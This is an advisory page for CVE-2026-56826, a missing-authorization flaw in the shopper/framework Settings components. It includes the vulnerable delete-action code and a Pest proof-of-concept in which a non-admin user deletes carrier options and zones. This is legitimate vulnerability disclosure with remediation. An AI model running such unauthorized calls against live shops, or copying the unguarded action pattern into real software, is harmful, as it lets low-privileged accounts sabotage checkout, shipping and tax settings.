CVE-2026-56826: Shopping privilege escalation through missing authorization in Settings components
Summary Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse accesssetting permission, without being an admin and without any delete/edit permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by…
Published Sep 11, 2026
Affected packages
shopper/framework
- Ecosystem
- Composer (PHP)
- Affected
- >= 2.0.0, < 2.9.2
- Fixed in
- 2.9.2
- Check
composer show shopper/framework
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse access_setting permission, without being an admin and without any delete_*/edit_* permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.
These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.
This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. Settings/Locations/Index uses ->authorize('delete_inventories'), and Order/Detail gates mutating actions with edit_orders).
Affected components
| Component | File | Unauthorized action | | `Settings\Zones\ZoneShippingOptions` | `packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47` | `delete` → `CarrierOption::query()->find($arguments['id'])->delete()` (id is client-supplied) | | `Settings\Zones\Detail` | `packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46` | `delete` → `DeleteAction` on the bound `Zone` | | `Settings\Taxes\Detail` | `packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42` | `delete` → `DeleteAction` on the bound `TaxZone` | | `Settings\Taxes\TaxRates` | `packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97` | `delete` → `DeleteAction` on a `TaxRate` |
Each file contains zero authorize calls, and the actions declare neither ->authorize() nor an enforced ->visible() guard.
Details
The Settings pages mount these as child Livewire components. The parent page authorizes access_setting (e.g. Pages/Settings/Taxes.php:29), but the child components do not re-check authorization, and their destructive actions carry no ->authorize(). Because each Livewire component handles its own /livewire/update requests, the action executes purely on the page-level access_setting gate — there is no per-resource permission, and delete_zones / delete_taxes permissions are never even generated by the seeder (packages/admin/database/seeders/PermissionsTableSeeder.php).
ZoneShippingOptions::deleteAction() is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:
// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
return Action::make('delete')
->requiresConfirmation()
// ... no ->authorize(), no ->visible()
->action(function (array $arguments): void {
CarrierOption::query()->find($arguments['id'])->delete(); // client-controlled id
// ...
});
}Proof of Concept
Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only access_setting.
use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;
uses(Tests\Admin\TestCase::class);
it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
$attacker = User::factory()->create();
$attacker->givePermissionTo('access_setting'); // NOT admin, NO delete_* permission
$this->actingAs($attacker, config('shopper.auth.guard'));
$zone = Zone::factory()->create();
$option = CarrierOption::factory()->create(['zone_id' => $zone->id]);
Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
->callAction('delete', arguments: ['id' => $option->id]);
expect(CarrierOption::query()->find($option->id))->toBeNull(); // deleted -> vulnerable
});Result:
Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
[BEFORE] CarrierOption count = 1 (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0 (target #1 exists = NO -> deleted)
PASS 3 passed (11 assertions)
✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
✓ a CarrierOption is deleted by the low-priv user
✓ a shipping Zone is deleted by the low-priv userThe CONTROL case rules out a false positive: the same harness correctly denies Order/Detail::markPaid for a user lacking edit_orders, proving authorization is enforced when a component declares it — these four components simply declare none.
Impact
A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:
- Delete a `CarrierOption` → that shipping rate disappears from checkout for the zone.
- Delete a `Zone` → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (
CarrierRateService::getRatesForZone/getManualRatesread these directly). - Delete a `TaxZone` / `TaxRate` →
TaxCalculator::resolveZone()can no longer resolve the zone, corrupting tax calculation at checkout.
Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).
Secondary issue found while reproducing
Zones\Detail::deleteAction()->after() calls $this->reset('zone'), but zone is a #[Computed] method (not a property), so it throws ReflectionException after the row is deleted. Worth fixing alongside the authorization gap.
Suggested remediation
Add an authorization check to each action, and ideally a mount() guard on each child component, matching the pattern already used in Settings/Locations/Index.php and Team/RolePermission.php:
public function deleteAction(): Action
{
return Action::make('delete')
->authorize('access_setting') // or a new granular delete_zones / delete_taxes permission
->requiresConfirmation()
// ...
}Apply to the delete (and edit) actions in all four components. Consider also generating granular *_zones / *_taxes permissions so settings access can follow least privilege, and fix the $this->reset('zone') call in Zones\Detail.
Credited to baradika.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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